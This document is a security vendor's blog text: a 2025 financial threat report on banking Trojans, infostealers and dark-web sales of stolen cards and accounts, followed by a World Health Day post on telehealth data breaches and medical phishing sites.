Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.
In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.
There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.
Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.
Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.
The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.
Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.
With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.
Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.
The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.
The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.
TOP 10 countries with the highest compromised account median (download)
Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.
It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.
Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.
It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.
An example of a post offering a database
The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.
Examples of a post (top) and a site (bottom) offering payment cards
Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.
Examples of a post (top) and a site (bottom) offering bank accounts
Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.
Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.
An example of a message offering compiled databases
Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.
In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.
Examples of posts offering creation of phishing websites
The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.
Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.
April 7 marks World Health Day. The theme for 2026 is “Together for health. Stand with science” — a call to join forces in the fight for evidence-based medicine and scientific progress. Many people view telehealth as one of the crowning achievements of this progress: you can basically get a doctor’s consultation in five minutes without ever leaving your couch. But there’s a catch…
Medical data sells on the black or gray markets for dozens of times more than credit card info or social media logins. Unlike a credit card, which you can just block and replace, you can’t exactly reset your medical history. Your name, birthday, address, phone number, insurance ID, diagnoses, test results, prescriptions, and treatment plans stay relevant for years. This is a goldmine for everything from targeted marketing to blackmail, fraud, or identity theft.
And with the rise of AI, the internet is now flooded with fake websites that claim to offer medical services but are actually designed to strip-mine confidential info from unsuspecting victims. Today, we’re diving into which medical details are at risk, why hackers want them, and how you can stop them in their tracks.
Scammers monetize stolen medical data both in bulk and through individual sales. Their first move is usually to extort a ransom from the companies they’ve successfully hacked. (In fact, back in 2024, 91% of malware-related healthcare data leaks in the U.S. were the result of ransomware attacks.) But later, the leaked data is then used for pinpointed, personal attacks. It allows hackers to build a medical profile of a victim — what meds they buy, how often, and what they take long-term — to then sell that info to big pharma or marketers, or to use it for targeted phishing scams like pitching a fake innovative treatment. They can even blackmail a patient over a sensitive diagnosis or use the info to fraudulently score prescriptions for controlled substances. On top of that, insurance companies are also hungry for this kind of data. They analyze these details to hike up insurance premiums for patients or, in some cases, refuse to provide coverage altogether. In short, there are plenty of ways they can use it against you.
The biggest medical data breach in history went down in February 2024, when the BlackCat hacking group broke into the systems of Change Healthcare. This is a division of UnitedHealth Group, which processes around 15 billion insurance transactions a year and acts as the financial middleman between patients, healthcare providers, and insurance companies.
For nine days, the attackers roamed freely through Change Healthcare’s internal systems, siphoning off six terabytes of confidential data before finally launching their ransomware. UnitedHealth was forced to completely yank Change Healthcare datacenters offline to stop the encryptor from spreading, and they ended up paying a 22-million-dollar ransom to the extortionists. The attack effectively paralyzed the U.S. healthcare system. The number of victims was revised three times: first 100 million, then 190 million, and the final tally hit a staggering 192.7 million people, with total damages estimated at 2.9 billion dollars. And the reason (on the Change Healthcare’s side) for this massive incident — which we broke down in detail in a separate post — was simply… a lack of two-factor authentication on a remote desktop access portal.
Before that, the mental health telehealth startup Cerebral embedded third-party tracking tools directly into its website and apps. As a result, the data of 3.2 million patients — including names, medical and prescription histories, and insurance info — leaked out to LinkedIn, Snapchat, and TikTok. The U.S. Federal Trade Commission slapped the company with a 7.1-million-dollar fine, and issued an unprecedented ban on using medical data for advertising purposes. By the way, that same startup also made the headlines for sending its clients promotional postcards without envelopes, displaying patient names and phrasing that made it easy for anyone to figure out their diagnosis.
Let’s take a look at the main weak spots in telehealth services.
Hackers aren’t the only ones interested in the medical field — spammers and scammers are all over it, too. They pitch “medical services” with deals that look way too good to be true, send out emails about supposed changes to your health insurance, or talk up “ancient Himalayan healing traditions”. Of course, all the links they send lead to suspicious websites offering dubious goods or services.
Should you land on such a phishing site, scammers will try to squeeze every bit of private info they can out of you: photos of your ID, insurance policy, prescriptions, and sometimes even… photos of body parts that supposedly need medical attention. From there, this data can be dumped and sold on the dark web — or used for blackmail, extortion, and follow-up phishing attacks. To learn more about how the underground data assembly line works, check out our post, What happens to data stolen using phishing?
As a rule of thumb, fake clinic sites usually skip the privacy policy section, and bombard you with “today only” deals that seem too good to be true. That said, with the help of AI, creating a professional-looking site that’s indistinguishable from the real thing is now a total breeze: you don’t even need design skills or fluency in the victim’s language. That’s exactly why we recommend using our comprehensive security suite — it’s designed to sniff out spam, scams and phishing, and warn you about fake websites before you land on them.
What else you need to know about protecting your health online:
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